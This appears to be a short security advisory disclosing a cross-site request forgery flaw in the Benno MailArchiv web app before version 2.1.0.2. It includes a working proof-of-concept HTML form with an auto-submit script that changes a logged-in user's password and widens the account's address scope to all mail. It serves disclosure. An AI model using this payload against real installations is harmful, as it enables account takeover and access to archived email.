The Benno MailArchiv Web-App (benno-web prior 2.1.0.2) is vulnerable to Cross-Site-Request-Forgery.
To exploit the vulnerability the attacker sends a link to a prepared page to a Benno MailArchiv user. The link then is able to trigger actions in the name of the user such as changing the users password (if the user is logged in).
<form action="https://benno.host/admin.php?CA=changePassword" method="post">
<input type="text" name="CA" value="savePassword">
<input type="password" class="input_text" name="data[password0]" value="test123">
<input type="password" class="input_text" name="data[password1]" value="test123">
<input type="password" class="input_text" name="data[addresses]" value='[{"value":"*@*"}]'>
</form>
<script>
document.forms[0].submit();
</script>